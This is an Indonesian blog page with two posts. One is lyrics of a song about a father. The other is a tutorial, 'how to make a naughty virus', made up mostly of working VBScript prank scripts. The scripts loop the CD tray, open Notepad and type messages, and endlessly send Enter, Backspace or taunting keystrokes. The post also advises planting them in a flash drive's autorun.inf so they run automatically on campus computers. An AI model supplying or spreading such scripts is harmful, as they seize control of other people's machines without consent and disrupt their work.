Minggu, 29 April 2012

Titip Rindu Buat Ayah

Dimatamu masih tersimpan Selaksa peristiwa
Benturan dan hembasan terpahang dikeningmu
Kau nampak tua dan lelah keringat mengucur deras
Namun kau tetap tabah .... hmmm hmmm ...
Meskinafasmu kadang tersengal
Memikul beban yang makin syarat
Kau tetap bertahan
Engkau telah mengerti hitam dan merah jalan ini
Keriput tulang pipimu gambaran perjuangan
Bahumu yang dulu kekar legam terbakar matahari
Kini kurus dalam terbungkus hmmm
Namun semangat tak pernah pudar
Meski langkahmu kadang gemetar
Kau tetap setia
Ayah dalam hening sepi kurindu
Untuk menuai padi milik kita
Namun kerinduan tinggal hanya kerinduan
Anakmu banyak menanggung beban ho ho
Engkau telah mengerti hitam dan merah jalan ini
Keriput tulang pipimu gambaran perjuangan
Bahumu yang dulu kekar legam terbakar matahari
Kini kurus dalam terbungkus hmmm
Namun semangat tak pernah pudar
Meski langkahmu kadang gemetar
Kau tetap setia readmore..........

Senin, 02 April 2012

Cara membuat Virus Nakal


Caranya: Buka notepad dan masukkan code berikut,
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
Simpanlah dengan file tadi dengan ekstensi file iseng.vbs ato apapun nama kesukaan asalkan pastikan ekstensinya .vbs, dan jalankan filenya ( Klik 2x), perhatikan CD/DVD ROM akan terbuka/tertutup dengan sendirinya tanpa henti.
Cara membuat virus nakal
Salah satu cara menghentikan aksi Virus Nakal ini ialah dengan menekan tombol CRTL+ALT+DEL dan matikan proses wscripts.exe, Kalo mau keren lagi, masukkan ke file autorun.inf di flashdisk anda, jadi setiap loe colokin ke kompie kampus, maka akan otomatis dijalankan “Virus” Nakal ini.
NB: kl males atau ga tau cara copasnya. download ajah linknya diakhir artikel:
Nah mau script .vbs yang laen lagi?
WScript.Sleep 18000
WScript.Sleep 1000
do
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "H"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "l"
WScript.Sleep 500
WshShell.SendKeys "o"
WScript.Sleep 500
WshShell.SendKeys ". "
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "p"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys " "
WScript.Sleep 500
WshShell.SendKeys "k"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "b"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "r"
WScript.Sleep 500
WshShell.SendKeys "?"
WScript.Sleep 500
WshShell.SendKeys " "
WScript.Sleep 500
WshShell.SendKeys "K"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "b"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "r"
WScript.Sleep 500
WshShell.SendKeys " "
WScript.Sleep 500
WshShell.SendKeys "b"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "i"
WScript.Sleep 500
WshShell.SendKeys "k"
WScript.Sleep 500
WshShell.SendKeys "?"
WScript.Sleep 500
wscript.sleep 5000
loop
Scripts diatas nanti otomatis buka notepad dan ketik: Halo. apa kabar? kabar baik?
Buat virus nakalingat yah simpan dengan ekstensi nama .vbs, klik file–>save as
Kode Vbs ini akan membuat user terus mengetikkan kata2 “Kamu emang jelek koq!” :D
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "Kamu emang jelak koq!"
loop
Dan membuat terus menerus menekan tombol “Enter”
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep  100
wshshell.sendkeys "~(enter)"
loop
Terus tekan backspace:
MsgBox "Balik lagi ah...saltik"
Set wshShell  =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys  "{bs}"
loop